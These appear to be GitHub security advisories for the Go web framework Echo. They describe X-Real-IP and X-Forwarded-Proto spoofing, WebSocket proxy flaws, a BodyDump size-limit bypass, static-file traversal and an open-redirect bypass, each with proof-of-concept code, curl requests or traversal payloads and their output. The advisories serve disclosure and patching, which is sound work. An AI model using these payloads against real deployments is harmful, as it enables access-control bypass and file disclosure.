Fixed in github.com/labstack/echo/v5 v5.4.0 and github.com/labstack/echo/v4 v4.16.0. The MethodOverride middleware no longer overrides a POST to GET, HEAD, OPTIONS, TRACE or CONNECT.

Workarounds

Register MethodOverride with Echo#Pre (as documented), register CSRF before MethodOverride, or use the default header getter (X-HTTP-Method-Override), which a cross-site form cannot set.

Summary

The Echo proxy middleware (middleware/proxy.go) preserves an incoming X-Real-IP header verbatim and forwards it to the upstream service when Echo#IPExtractor is not configured — which is the default. Because any HTTP client can supply an arbitrary X-Real-IP value, an attacker can cause Echo to relay a spoofed client IP address to every upstream service behind the proxy, undermining upstream IP-based access controls, rate limiting, audit logging, and geo-restriction.

Affected Component

• middleware/proxy.go — ProxyConfig.ToMiddleware(), header-rewriting block (lines 351–355)

Description

The header-preservation condition passes spoofed values to upstream

ProxyConfig.ToMiddleware() (proxy.go:338-405) prepares forwarding headers before dispatching each request. The X-Real-IP rewrite logic at lines 351-355 reads:

// proxy.go:351-355
// Basically it's not good practice to unconditionally pass incoming x-real-ip header to upstream.
// However, for backward compatibility, legacy behavior is preserved unless you configure Echo#IPExtractor.
if req.Header.Get(echo.HeaderXRealIP) == "" || c.Echo().IPExtractor != nil {
    req.Header.Set(echo.HeaderXRealIP, c.RealIP())
}

The condition is TRUE (and therefore overwrites the header with a derived value) only when:

• The header is absent — req.Header.Get(echo.HeaderXRealIP) == ""; or
• IPExtractor is explicitly configured — c.Echo().IPExtractor != nil

The condition is FALSE — and the header is left unchanged — when the request arrives with an X-Real-IP header already set and IPExtractor is nil. Because Echo.New() leaves IPExtractor as nil, this is the out-of-the-box behaviour for every application that uses Proxy() or ProxyWithConfig() without extra configuration.

An attacker who sets X-Real-IP to any value causes Echo to forward exactly that value to the upstream, with no modification or validation.

The comment in the source code confirms intent and the security gap

The inline comment at line 351-352 explicitly states:

"Basically it's not good practice to unconditionally pass incoming x-real-ip header to upstream. However, for backward compatibility, legacy behavior is preserved unless you configure Echo#IPExtractor."

The framework is aware that the default is insecure and retains it for backward compatibility. No warning appears in the Proxy() or ProxyWithConfig() documentation, so operators who follow the standard setup example receive a silently insecure proxy configuration.

This is structurally identical to the documented insecurity in ip.go:27:

"Note: if you don't set Echo#IPExtractor explicitly, Echo fallback to legacy behavior, which is not a good choice."

Full execution chain

1. Attacker sends GET /api/admin to the Echo proxy with header X-Real-IP: 203.0.113.1 (a trusted corporate IP)
2. ToMiddleware() evaluates the guard at line 353: header is present (!= ""), IPExtractor is nil → condition is FALSE
3. req.Header.Set is not called; the upstream request carries the original, attacker-supplied X-Real-IP: 203.0.113.1
4. Upstream service checks X-Real-IP against its IP allowlist → finds 203.0.113.1 → grants access
5. Attacker reaches an endpoint that should be restricted to the corporate IP range

Secondary impact path (audit poisoning):

• All upstream log entries, rate-limit counters, and geo-restriction checks are evaluated against 203.0.113.1 rather than the real client IP, rendering audit trails and security analytics unreliable.

Proof of Concept

package main

import (
    "fmt"
    "log"
    "net/http"
    echo "github.com/labstack/echo/v5"
    "github.com/labstack/echo/v5/middleware"
)

func main() {
    // Upstream server: echoes back the X-Real-IP it received
    upstream := http.NewServeMux()
    upstream.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
        fmt.Fprintf(w, "upstream sees X-Real-IP: %s\n", r.Header.Get("X-Real-IP"))
    })
    go http.ListenAndServe(":9000", upstream)

    // Echo proxy — IPExtractor deliberately NOT set (the default)
    e := echo.New()
    targets := []*middleware.ProxyTarget{{URL: mustParse("http://127.0.0.1:9000")}}
    e.Use(middleware.Proxy(middleware.NewRoundRobinBalancer(targets)))
    log.Fatal(e.Start(":1323"))
}

# Without spoofed header — upstream sees actual peer address
curl http://127.0.0.1:1323/
# upstream sees X-Real-IP: 127.0.0.1

# With spoofed header — upstream sees attacker-supplied value
curl -H 'X-Real-IP: 198.51.100.77' http://127.0.0.1:1323/
# upstream sees X-Real-IP: 198.51.100.77

The attacker-supplied IP 198.51.100.77 arrives at the upstream unchanged.

Impact

• Upstream IP-based access controls (allowlists, blocklists, geo-restrictions) can be bypassed by supplying the expected IP in X-Real-IP
• Upstream rate limiters that key on X-Real-IP are bypassable (same class as the Echo rate-limiter finding, now on every upstream service)
• Audit logs, intrusion detection systems, and SIEM tools that rely on X-Real-IP record the attacker-chosen IP, not the real source — forensic trails are poisoned
• Any upstream admin endpoint restricted by IP allowlist is reachable by any attacker who knows or guesses a trusted IP address

Recommended Remediation

Option 1: Always overwrite X-Real-IP from an authoritative source (preferred)

Remove the conditional that preserves the incoming header. Echo, as the edge proxy, is the only authoritative source for the real client IP:

// proxy.go — always set X-Real-IP from an authoritative source
req.Header.Set(echo.HeaderXRealIP, c.RealIP())

For this to be safe, operators using Proxy() should also configure IPExtractor:

e.IPExtractor = echo.ExtractIPDirect() // no upstream proxy
// or
e.IPExtractor = echo.ExtractIPFromXFFHeader() // behind a trusted upstream LB

Option 2: Document and warn in Proxy() godoc

If backward compatibility must be preserved, add a prominent security warning to Proxy() and ProxyWithConfig():

// Proxy returns a Proxy middleware.
//
// SECURITY: By default, an incoming X-Real-IP header supplied by the client
// is forwarded to the upstream unchanged. This allows any client to spoof its
// IP identity to upstream services. Configure Echo#IPExtractor before using
// this middleware to ensure X-Real-IP is derived from a trusted source:
//
//   e.IPExtractor = echo.ExtractIPDirect()
//
// See https://echo.labstack.com/guide/ip-address for details.
func Proxy(balancer ProxyBalancer) echo.MiddlewareFunc {

Credit

This vulnerability was discovered and reported by bugbunny.ai.

Patches

Fixed in github.com/labstack/echo/v5 v5.4.0: the Proxy middleware always sets X-Real-IP from Context.RealIP(), which is the address of the direct peer unless Echo#IPExtractor is configured.

github.com/labstack/echo/v4 is not changed, because v4's Context.RealIP() without Echo#IPExtractor trusts X-Forwarded-For and X-Real-IP by design, and changing that default would merge all clients behind a proxy into one rate-limit bucket.

Workarounds

Configure Echo#IPExtractor for your deployment, for example e.IPExtractor = echo.ExtractIPDirect() when there is no proxy in front of the application, or echo.ExtractIPFromXFFHeader() / echo.ExtractIPFromRealIPHeader() (with TrustIPRange for proxies on public addresses). With an extractor set, the Proxy middleware overwrites X-Real-IP in v4 too.

Impact

In Echo v5, ExtractIPFromRealIPHeader checked whether the address supplied in X-Real-IP belonged to a trusted range instead of checking the address of the direct network peer. An untrusted client could therefore supply a loopback or private address and have it returned by c.RealIP() with the extractor's default trust options.

Applications using this extractor for IP allowlists, IP-based rate limiting, audit logs or forwarding headers could accept a spoofed client identity. Exploitation requires that the attacker can reach Echo directly or that an intervening proxy passes through the attacker's X-Real-IP value. Applications using the default direct IP extractor are unaffected. Echo v4 is unaffected by this v5 regression.

Affected versions and patch

All v5 releases from v5.0.0 through v5.4.0 are affected. Upgrade to v5.4.1.

The patch validates the direct peer before accepting a syntactically valid X-Real-IP value, restoring the v4 trust model. Fix commit.

Workarounds

Use ExtractIPDirect until upgrading, or ensure that only trusted proxies can reach Echo and that they replace client-supplied forwarding headers. Configure trusted proxy ranges narrowly for the deployment.

Credits

Reported and patched by @rm-Umar. @Duodum independently reported the same issue in GHSA-c3r7-8j36-7mx8, which is tracked as a duplicate of this advisory.

Impact

Echo's Proxy middleware could retain a handler, copy goroutines and network connections after a WebSocket client disconnected if the upstream kept its connection open. The raw proxy waited for both copy directions to finish without reliably closing the other connection when one direction ended. Rejected upgrade responses with HTTP keep-alive were one way to trigger this behavior.

Repeated connections can accumulate resources and cause denial of service. The impact depends on the proxy route's accessibility, upstream behavior and configured connection deadlines. This is a medium-severity resource-retention issue; no confidentiality or integrity impact is claimed.

Affected versions and patch

Affected versions are v4.15.0 through v4.16.0 and v5.0.0 through v5.4.0. The regression was introduced by commit e2133320c7, merged in #2852.

Upgrade to v4.16.1 or v5.4.1. The patch uses Go's HTTP reverse proxy, preserves ordinary HTTP handling for rejected upgrades, and closes both sides of a WebSocket tunnel when either direction ends. It also covers an upstream that receives client EOF but deliberately keeps its side open.

Fix commits: v4, v5.

Workarounds

Disable WebSocket proxy routes until upgrading, or apply bounded connection lifetimes and resource limits at the frontend and upstream. Server idle timeouts alone may not cover hijacked WebSocket connections.

Credits

Reported by @irisitymichaelgrundberg.

Impact

Echo's Proxy middleware selected a raw tunnel when the client requested a WebSocket upgrade, before validating whether the configured upstream accepted it. If the upstream returned an ordinary HTTP response and kept the connection alive, subsequent HTTP requests on that connection were forwarded directly to the same upstream without passing through Echo's router or route-specific middleware.

This can bypass authentication or authorization enforced only at Echo's routes. Exploitation requires an accessible proxy route, an upstream that rejects the upgrade without closing the connection, and a target resource on that upstream without independent authorization. The issue does not provide arbitrary-host proxying or bypass the upstream's own authentication.

Affected versions and patch

The raw proxy implementation is present throughout the v4 and v5 release lines up to v4.16.0 and v5.4.0. Runtime reproductions confirmed v4.15.0, v4.16.0, v5.0.0 and v5.4.0; source history also shows the missing upgrade-response validation in v4.0.0.

Upgrade to v4.16.1 or v5.4.1. The patch routes WebSocket upgrades through Go's HTTP reverse proxy and enters a tunnel only after a valid upstream upgrade response. Rejected upgrades remain ordinary HTTP requests.

Fix commits: v4, v5.

Workarounds

Reject WebSocket upgrade requests before they reach affected Echo proxy routes, or enforce authorization independently at every upstream resource. Merely returning a non-101 response from the upstream does not prevent the vulnerable raw tunnel.

Credits

Reported by @Duodum.

Impact

Echo v5's BodyDump middleware captured a bounded prefix, drained the remaining request body while ignoring read errors, and then replaced the body with the captured prefix. With an outer BodyLimit, an unknown-length request such as an HTTP/1.1 chunked request, and a BodyDump capture limit below the BodyLimit threshold, an overflow detected during that drain could be discarded.

The handler could consequently process a truncated request and return success even though the original body exceeded the configured limit. This is a conditional size-policy bypass; no general authentication bypass, production data modification or denial of service is claimed. Known-length requests rejected before BodyDump runs are unaffected by this path.

Affected versions and patch

All v5 releases from v5.0.0 through v5.4.0 contain the affected drain-and-replace logic. Runtime reproduction confirmed v5.4.0; source comparison confirms the same request handling in v5.0.0.

Upgrade to v5.4.1. BodyDump now captures only the configured prefix for logging and reconstructs the handler's reader from that prefix plus the unread original stream. It preserves the original closer and read errors instead of silently draining the rest. Fix commit.

Streaming BodyLimit enforcement still requires the application to consume the request body and handle read errors. The BodyDump capture cap is a logging cap, not an application body limit.

Workarounds

Disable BodyDump on affected routes, or ensure the BodyLimit overflow is detected during the initial capture by setting the capture limit above the enforced body limit. Upgrading is recommended because it also preserves the complete body for handlers.

Credits

Reported by @Duodum. The fix incorporates @jakezwang's request-body preservation work in #3105.

Description

Context.Scheme() unconditionally trusts four client-controlled HTTP headers to determine the request scheme, with no mechanism to configure trusted sources. This allows a remote unauthenticated attacker to bypass HTTPS redirect enforcement and suppress HSTS headers.

The trusted headers (checked in this order of precedence):

1. X-Forwarded-Proto
2. X-Forwarded-Protocol
3. X-Forwarded-Ssl
4. X-Url-Scheme

Threat model

Scenario A — Directly exposed application (vulnerable by default): The Echo application listens on HTTP and is reachable directly by clients (no L7 proxy in front), or an attacker can bypass the proxy and reach the backend directly. In this case, the attacker has full control over all request headers. Sending X-Forwarded-Proto: https defeats the HTTPSRedirect middleware entirely — traffic stays on plaintext HTTP, enabling man-in-the-middle attacks.

This is the primary scenario. The application is vulnerable by default with no misconfiguration required — simply using e.Pre(middleware.HTTPSRedirect()) as documented is sufficient.

Scenario B — Behind L7 proxy with header sanitization (reduced risk): If the application is strictly behind a correctly configured L7 proxy that always overwrites X-Forwarded-Proto and there is no direct access to the backend, the practical risk is lower. However, this relies on perimeter controls external to the framework, not on the framework itself. As Echo's own IP-extraction documentation states: "you must not trust HTTP headers unconditionally."

Root cause

context.go, lines 161–181:

func (c *Context) Scheme() string {
    if c.IsTLS() {
        return "https"
    }
    if scheme := c.request.Header.Get(HeaderXForwardedProto); scheme != "" {
        return scheme
    }
    if scheme := c.request.Header.Get(HeaderXForwardedProtocol); scheme != "" {
        return scheme
    }
    if ssl := c.request.Header.Get(HeaderXForwardedSsl); ssl == "on" {
        return "https"
    }
    if scheme := c.request.Header.Get(HeaderXUrlScheme); scheme != "" {
        return scheme
    }
    return "http"
}

Two additional issues with this implementation:

1. No value validation. Scheme() returns any arbitrary string from the header, not just "http" or "https". This breaks the documented contract ("returns the HTTP protocol scheme, http or https") and causes unexpected behavior in middleware that uses the return value to construct URLs (e.g., WWWRedirect builds scheme + "://www." + host + uri).

2. Consumed by security-critical middleware. The return value is used directly by redirect middleware (middleware/redirect.go:136) and secure middleware (middleware/secure.go:125) for security enforcement decisions.

Affected components

| Component | File | Line(s) | Impact | |-----------|------|---------|--------| | Context.Scheme() | context.go | 161–181 | Returns attacker-controlled scheme | | HTTPSRedirect | middleware/redirect.go | 147–151 | HTTPS enforcement bypassed | | HTTPSWWWRedirect | middleware/redirect.go | 154–161 | HTTPS enforcement bypassed | | HTTPSNonWWWRedirect | middleware/redirect.go | 163–170 | HTTPS enforcement bypassed | | WWWRedirect | middleware/redirect.go | 172–177 | URL constructed with arbitrary scheme | | NonWWWRedirect | middleware/redirect.go | 179–184 | URL constructed with arbitrary scheme | | Secure middleware (HSTS) | middleware/secure.go | 125 | HSTS header suppressed |

This is an unsafe-by-default API surface, not just misconfiguration

This behavior is not accidental — it is codified in the project's own test suite. For example, middleware/redirect_test.go (lines 29–34) explicitly asserts that X-Forwarded-Proto: https on an HTTP request results in 200 OK (no redirect):

{
    whenHost:         "labstack.com",
    whenHeader:       map[string][]string{echo.HeaderXForwardedProto: {"https"}},
    expectLocation:   "",
    expectStatusCode: http.StatusOK,
},

Similarly, middleware/secure_test.go (lines 42–53) and context_test.go (lines 1104–1111) assert that scheme is derived from the header.

The problem is not that the framework can use forwarded headers — that is legitimate behind a trusted proxy. The problem is that there is no mechanism to control whether this trust is appropriate, unlike the existing IP header trust model. Scheme() always trusts the headers, making any middleware that depends on it unsafe-by-default.

Inconsistency with existing trust model

Echo already recognizes this class of header-trust vulnerability for IP addresses. The IPExtractor mechanism with TrustOption (TrustLoopback, TrustPrivateNet, TrustLinkLocal, TrustIPRange) was introduced specifically because:

"you must not trust HTTP headers unconditionally. Otherwise, you might give someone a chance of deceiving you. A security risk!" — ip.go, lines 20–21

"If you put no proxy (e.g., directly facing the internet), all you need to (and have to) see is IP address from network layer. Any HTTP header is untrustable because the clients have full control what headers to be set." — ip.go, lines 36–38

No equivalent mechanism exists for scheme detection. Scheme() unconditionally trusts all four forwarded headers with no configuration, opt-in, or documentation warning.

Note on proxies and the "3 additional headers"

A correctly configured nginx proxy_set_header X-Forwarded-Proto $scheme; overwrites X-Forwarded-Proto with the actual incoming scheme. When a proxy does this, X-Forwarded-Proto is trustworthy and the three fallback headers (X-Forwarded-Protocol, X-Forwarded-Ssl, X-Url-Scheme) are never reached because X-Forwarded-Proto takes precedence in Scheme().

The three additional headers become real attack vectors specifically when:

• The proxy does not set X-Forwarded-Proto at all (common in default proxy configs), or
• The application is directly exposed (Scenario A above).

In such cases, an attacker can bypass via any of the four headers. The main vulnerability (HTTPS redirect bypass via X-Forwarded-Proto on a directly exposed app) does not depend on the additional headers.

Impact

HTTPS downgrade / MITM: An attacker who can reach the Echo HTTP endpoint directly can prevent HTTPS redirection, keeping client traffic on plaintext HTTP and enabling man-in-the-middle attacks.

HSTS suppression: Behind a TLS-terminating proxy, spoofing X-Forwarded-Proto: http prevents the Strict-Transport-Security header from being sent. When the response ultimately reaches the client over HTTPS (via the proxy), the missing HSTS header weakens browser-side HTTPS enforcement. Note: browsers ignore HSTS received over plain HTTP, so the practical risk is specifically in the suppression scenario behind a TLS-terminating proxy, not in injecting HSTS on HTTP.

URL construction with arbitrary scheme: WWWRedirect and NonWWWRedirect use c.Scheme() to build redirect URLs (scheme + "://www." + host + uri). An attacker can inject arbitrary strings (e.g., javascript:, data:) as the scheme component of redirect URLs.

Proof of Concept

Tested on Echo v5.0.4 (commit fa5311b, 2026-02-15).

PoC 1: HTTPS Redirect Bypass (Go test)

package echo_test

import (
    "net/http"
    "net/http/httptest"
    "testing"

    "github.com/labstack/echo/v5"
    "github.com/labstack/echo/v5/middleware"
)

func TestHTTPSRedirectBypass(t *testing.T) {
    e := echo.New()
    e.Pre(middleware.HTTPSRedirect())
    e.GET("/", func(c *echo.Context) error {
        return c.String(http.StatusOK, "served over: "+c.Scheme())
    })

    // Normal HTTP → should redirect
    req := httptest.NewRequest(http.MethodGet, "/", nil)
    rec := httptest.NewRecorder()
    e.ServeHTTP(rec, req)
    if rec.Code != http.StatusMovedPermanently {
        t.Fatalf("expected 301, got %d", rec.Code)
    }
    t.Logf("Normal HTTP → %d (redirect to %s)", rec.Code, rec.Header().Get("Location"))

    // Attack: all 4 headers bypass the redirect
    headers := map[string]string{
        "X-Forwarded-Proto":    "https",
        "X-Forwarded-Protocol": "https",
        "X-Forwarded-Ssl":      "on",
        "X-Url-Scheme":         "https",
    }
    for name, value := range headers {
        req := httptest.NewRequest(http.MethodGet, "/", nil)
        req.Header.Set(name, value)
        rec := httptest.NewRecorder()
        e.ServeHTTP(rec, req)
        if rec.Code == http.StatusOK {
            t.Errorf("BYPASS via %s: %s → %d (no redirect!)", name, value, rec.Code)
        }
    }
}

PoC 2: curl examples (easiest to reproduce)

Start a minimal Echo server:

package main

import (
    "net/http"
    "github.com/labstack/echo/v5"
    "github.com/labstack/echo/v5/middleware"
)

func main() {
    e := echo.New()
    e.Pre(middleware.HTTPSRedirect())
    e.GET("/", func(c *echo.Context) error {
        return c.String(http.StatusOK, "Hello on "+c.Scheme())
    })
    e.Start(":8080")
}

Then:

# Normal HTTP → 301 redirect (expected)
$ curl -I http://localhost:8080/
HTTP/1.1 301 Moved Permanently
Location: https://localhost:8080/

# Attack: bypass via X-Forwarded-Proto
$ curl -H "X-Forwarded-Proto: https" http://localhost:8080/
Hello on https

# Attack: bypass via X-Forwarded-Protocol
$ curl -H "X-Forwarded-Protocol: https" http://localhost:8080/
Hello on https

# Attack: bypass via X-Forwarded-Ssl
$ curl -H "X-Forwarded-Ssl: on" http://localhost:8080/
Hello on https

# Attack: bypass via X-Url-Scheme
$ curl -H "X-Url-Scheme: https" http://localhost:8080/
Hello on https

PoC 3: Arbitrary scheme in redirect URL (WWWRedirect)

func TestArbitrarySchemeInRedirect(t *testing.T) {
    e := echo.New()
    e.Pre(middleware.WWWRedirect())
    e.GET("/", func(c *echo.Context) error {
        return c.String(http.StatusOK, "ok")
    })

    req := httptest.NewRequest(http.MethodGet, "/", nil)
    req.Host = "example.com"
    req.Header.Set("X-Forwarded-Proto", "javascript")
    rec := httptest.NewRecorder()
    e.ServeHTTP(rec, req)

    // Redirect Location uses the spoofed scheme
    loc := rec.Header().Get("Location")
    // loc == "javascript://www.example.com/" — violates http/https contract
    t.Logf("Status: %d, Location: %s", rec.Code, loc)
}

PoC 4: HSTS Suppression

func TestHSTSSuppression(t *testing.T) {
    e := echo.New()
    e.Use(middleware.SecureWithConfig(middleware.SecureConfig{HSTSMaxAge: 31536000}))
    e.GET("/", func(c *echo.Context) error {
        return c.String(http.StatusOK, "ok")
    })

    // Legitimate: proxied HTTPS should have HSTS
    req := httptest.NewRequest(http.MethodGet, "/", nil)
    req.Header.Set("X-Forwarded-Proto", "https")
    rec := httptest.NewRecorder()
    e.ServeHTTP(rec, req)
    if h := rec.Header().Get("Strict-Transport-Security"); h == "" {
        t.Fatal("HSTS missing when it should be present")
    }

    // Attack: suppress HSTS by spoofing "http"
    // In production: app behind TLS-terminating proxy, proxy delivers response
    // to client over HTTPS, but HSTS header is absent due to spoofed header
    req2 := httptest.NewRequest(http.MethodGet, "/", nil)
    req2.Header.Set("X-Forwarded-Proto", "http")
    rec2 := httptest.NewRecorder()
    e.ServeHTTP(rec2, req2)
    if h := rec2.Header().Get("Strict-Transport-Security"); h == "" {
        t.Error("VULNERABLE: HSTS suppressed via X-Forwarded-Proto: http")
    }
}

Test output (all attacks succeed)

=== RUN   TestHTTPSRedirectBypass
    Normal HTTP → 301 (redirect to https://example.com/)
    BYPASS via X-Forwarded-Proto: https → 200 (no redirect!)
    BYPASS via X-Forwarded-Protocol: https → 200 (no redirect!)
    BYPASS via X-Forwarded-Ssl: on → 200 (no redirect!)
    BYPASS via X-Url-Scheme: https → 200 (no redirect!)

=== RUN   TestArbitrarySchemeInRedirect
    Status: 301, Location: javascript://www.example.com/

=== RUN   TestHSTSSuppression
    VULNERABLE: HSTS suppressed via X-Forwarded-Proto: http

Precedent CVEs

• CVE-2018-1193 — Cloud Foundry GoRouter: unverified X-Forwarded-Proto header trusted for scheme, enabling HTTPS enforcement bypass. Fixed by adding sanitize_forwarded_proto option.
• CVE-2025-41235 — Spring Cloud Gateway: trusting forwarded headers without explicit proxy configuration, enabling HTTPS redirect bypass. Fixed by requiring trusted proxy configuration.

Suggested fix

Option A: SchemeExtractor (recommended, backward-compatible with opt-in)

Add a SchemeExtractor mechanism analogous to the existing IPExtractor, where the extractor decides whether to trust forwarded headers based on RemoteAddr or trusted proxy ranges:

type SchemeExtractor func(req *http.Request) string

// ExtractSchemeDirect ignores all forwarded headers (secure default)
func ExtractSchemeDirect() SchemeExtractor { ... }

// ExtractSchemeFromXFFHeader trusts X-Forwarded-Proto from trusted sources
func ExtractSchemeFromXFFHeader(options ...TrustOption) SchemeExtractor { ... }

Usage:

// Secure: directly exposed, ignore headers
e.SchemeExtractor = echo.ExtractSchemeDirect()

// Behind trusted proxy
e.SchemeExtractor = echo.ExtractSchemeFromXFFHeader(
    echo.TrustIPRange(proxySubnet),
)

The default should be secure. For backward compatibility, a migration period with deprecation warnings for the legacy behavior may be appropriate.

Option B: Minimal hardening (does NOT fix the bypass, but fixes the contract violation)

Scheme() should validate that the returned value is "http" or "https", rejecting arbitrary strings. This prevents the "arbitrary scheme in redirect URL" issue but does not address the core HTTPS redirect bypass (because "https" is a valid value that the attacker injects).

Both options should be applied together.

Patches

Fixed in github.com/labstack/echo/v5 v5.4.0 and github.com/labstack/echo/v4 v4.16.0. Context.Scheme() now uses the X-Forwarded-Proto, X-Forwarded-Protocol, X-Forwarded-Ssl and X-Url-Scheme headers only when the request comes directly from a loopback, link-local or private network address or a unix socket. When X-Forwarded-Proto is present, only its last value is used. The new Echo#SchemeExtractor selects the strategy (ExtractSchemeFromHeaders, ExtractSchemeDirect, LegacySchemeExtractor). The Secure middleware sets HSTS from Context.Scheme(), and the Proxy middleware always sets X-Forwarded-Proto and removes the other scheme headers.

Workarounds

If a proxy or load balancer connects to your application from a public address, trust its address ranges after upgrading, for example e.SchemeExtractor = echo.ExtractSchemeFromHeaders(echo.TrustIPRange(proxyRange)); otherwise HTTPSRedirect redirects in a loop. If you cannot upgrade, make sure every request passes through a proxy that overwrites X-Forwarded-Proto and removes X-Forwarded-Protocol, X-Forwarded-Ssl and X-Url-Scheme, and that the application cannot be reached directly.

Summary

Echo v5.2.0 contains a bypass of the fix for GHSA-vfp3-v2gw-7wfq. The fix rejects encoded path separators such as %2F and %5C before static file path unescaping, but two traversal forms still bypass route-level middleware protections for static files.

The primary bypass uses encoded dot-dot segments. A request such as /public/%2E%2E/admin/secret.txt passes the encoded-separator guard, is unescaped to public/../admin/secret.txt, then path.Clean resolves it to admin/secret.txt. If /admin/* is protected by middleware but the static filesystem is mounted at /, the protected file is returned through the public static route.

A second bypass exists when UseEscapedPathForMatching=true. In that mode, the router normalizes encoded separators before the static handler checks the wildcard. The handler receives a decoded wildcard with no % characters, so the encoded-separator guard does not run on the original encoded path.

Impact

An unauthenticated attacker can read files that an application intended to protect with route-level middleware, when those files are also reachable through a static filesystem mount after path normalization.

The high-severity variant works with the default router configuration and requires only encoded dot-dot path segments. The direct protected route returns 403, while the public static route returns the protected file content.

The UseEscapedPathForMatching=true variant is lower severity because it requires a non-default router configuration.

Affected versions

Tested vulnerable:

• github.com/labstack/echo/v5 v5.2.0
• Current master at 5786024ea4d85c01784796e8aa7aac53e007b39b

No patched version is currently known.

Policy and version checks

GitHub Private Vulnerability Reporting is enabled for labstack/echo. The repository has a root SECURITY.md and accepts security reports through GitHub Security Advisories.

The vulnerable code was revalidated on both current master and the latest release tag:

• Current master: 5786024ea4d85c01784796e8aa7aac53e007b39b
• Latest release: v5.2.0, published June 14 2026
• Package: github.com/labstack/echo/v5

The same focused Go tests pass on the checked out v5.2.0 / master commit, proving the bypass remains present in the latest released version and latest main branch at the time of reporting.

Reproduction

The following application shape reproduces the high-severity bypass:

e := echo.New()

g := e.Group("/admin", func(next echo.HandlerFunc) echo.HandlerFunc {
    return func(c echo.Context) error {
        return echo.NewHTTPError(http.StatusForbidden)
    }
})
g.GET("/*", handler)

e.StaticFS("/", fsysWithAdminSecret)

Control request:

GET /admin/secret.txt

Observed result:

403 Forbidden

Bypass request:

GET /public/%2E%2E/admin/secret.txt

Observed result:

200 OK
TOP-SECRET

For the non-default router variant:

e := echo.New()
e.router = echo.NewRouter(echo.RouterConfig{
    UseEscapedPathForMatching: true,
})

g := e.Group("/admin", authMiddlewareReturning403)
g.GET("/*", handler)

e.StaticFS("/", fsysWithAdminSecret)

Bypass request:

GET /public%2F..%2Fadmin%2Fsecret.txt

Observed result:

200 OK
TOP-SECRET

Proof of concept evidence

I added focused tests against the current Echo codebase. The tests exercise both StaticDirectoryHandler and the static middleware path.

Command:

go test -run TestHostile -v ./...

Observed result:

=== RUN   TestHostile_StaticDirectoryHandler_EncodedSeparatorsBlocked
--- PASS: TestHostile_StaticDirectoryHandler_EncodedSeparatorsBlocked (0.00s)
=== RUN   TestHostile_StaticDirectoryHandler_EncodedDotDotBypass
--- PASS: TestHostile_StaticDirectoryHandler_EncodedDotDotBypass (0.00s)
=== RUN   TestHostile_UseEscapedPathForMatching_Bypass
--- PASS: TestHostile_UseEscapedPathForMatching_Bypass (0.00s)
PASS
ok  github.com/labstack/echo/v5  0.013s
=== RUN   TestHostile_StaticMiddleware_EncodedSeparatorsBlocked
--- PASS: TestHostile_StaticMiddleware_EncodedSeparatorsBlocked (0.01s)
=== RUN   TestHostile_StaticMiddleware_EncodedDotDotBypass
--- PASS: TestHostile_StaticMiddleware_EncodedDotDotBypass (0.00s)
=== RUN   TestHostile_StaticMiddleware_DisablePathUnescaping
--- PASS: TestHostile_StaticMiddleware_DisablePathUnescaping (0.00s)
PASS
ok  github.com/labstack/echo/v5/middleware  0.012s

The control tests also confirm that the new fix blocks encoded separators such as %2F, %5C, double-encoded slash values, null bytes, and overlong slash encodings.

Root cause

The fix for GHSA-vfp3 uses a denylist-style guard that checks for encoded path separators before unescaping the static wildcard. This blocks %2F and %5C, but does not block encoded traversal segments such as %2E%2E.

The vulnerable flow is:

1. The static route wildcard accepts public/%2E%2E/admin/secret.txt.
2. The encoded-separator guard sees no %2F or %5C and allows the request.
3. The handler unescapes the wildcard to public/../admin/secret.txt.
4. path.Clean resolves it to admin/secret.txt.
5. The file is served through the public static route instead of the protected /admin/* route.

For UseEscapedPathForMatching=true, the router decodes the path before the static handler sees the wildcard, so the handler cannot detect that encoded separators were used in the original request.

Remediation

Do not rely only on detecting encoded separators. Reject encoded traversal sequences before unescaping, and reject normalized wildcard values that cross route or static mount boundaries.

Possible fixes:

1. Extend the pre-unescape guard to reject encoded dot segments such as %2E and %2E%2E in path components.
2. After unescaping, reject any wildcard where cleaning changes the path in a way that removes . or .. components.
3. For UseEscapedPathForMatching=true, run the static-file guard against the original escaped request path before router normalization, or preserve metadata that the matched wildcard came from encoded separators.

Patches

Fixed in github.com/labstack/echo/v5 v5.4.0 and github.com/labstack/echo/v4 v4.16.0. The Static middleware and StaticDirectoryHandler (used by Echo.Static, Echo.StaticFS, Group.Static and Group.StaticFS) no longer serve paths with a ., .. or empty segment, including after path unescaping. The encoded variant of the first vector (/public/%2E%2E/admin/secret.txt) was already fixed in v5.2.1 and v4.15.4 (GHSA-vfp3-v2gw-7wfq).

Workarounds

Put a reverse proxy in front of the application that normalizes request paths (removes dot segments and merges slashes), or keep protected files outside the served directory.

Summary

Echo's dedicated open-redirect guard, sanitizeURI, decides whether a redirect target is a local path by inspecting exactly two byte positions: uri[0] and uri[1]. If the value begins with a control character such as a tab or a newline, followed by a separator pair, the guard does not fire and the value is written to the Location header unchanged.

Browsers remove tab and newline characters from URLs before parsing them, and treat a backslash as a forward slash for HTTP and HTTPS URLs. A Location value of /\t/attacker.example is therefore resolved by the browser as an absolute URL on attacker.example. Confirmed end to end in a headless browser.

Technical background

The guard

middleware/slash.go:144 (duplicated verbatim at echo.go:958):

func sanitizeURI(uri string) string {
	// double slash `\\`, `//` or even `\/` is absolute uri for browsers and by redirecting request to that uri
	// we are vulnerable to open redirect attack. so replace all slashes from the beginning with single slash
	if len(uri) > 1 && (uri[0] == '\\' || uri[0] == '/') && (uri[1] == '\\' || uri[1] == '/') {
		uri = "/" + strings.TrimLeft(uri, `/\`)
	}
	return uri
}

The condition is anchored at absolute offsets 0 and 1. It cannot see a separator that has been shifted by one byte.

Data flow

1. RemoveTrailingSlash (middleware/slash.go:112-140) reads url.Path, which net/http has already percent-decoded, strips the trailing slash, and appends the raw query string:

path := url.Path
...
if l > 0 && strings.HasSuffix(path, "/") {
    path = path[:l]
    uri := path
    if qs != "" {
        uri += "?" + qs
    }
    if config.RedirectCode != 0 {
        return c.Redirect(config.RedirectCode, sanitizeURI(uri))   // line 132
    }

2. AddTrailingSlash does the same in the opposite direction at middleware/slash.go:67.

3. A request for /%09/attacker.example/x/ has url.Path equal to "/\t/attacker.example/x/" (a literal TAB byte). sanitizeURI evaluates uri[0] == '\t', the condition is false, and the value passes through untouched.

4. Context.Redirect (context.go:735) writes it to the Location header. Go's header writer removes CR and LF but leaves TAB, which is all that is required.

Conditional analysis

• Guard: uri[0] and uri[1] are separators. Trust boundary: server-side sanitization of attacker-influenced path data.
• Bypass: place a single control byte before the separator pair. The separator moves to index 1 and the guard's second condition (uri[1] being a separator) is never reached because the first condition (uri[0] being a separator) already failed.
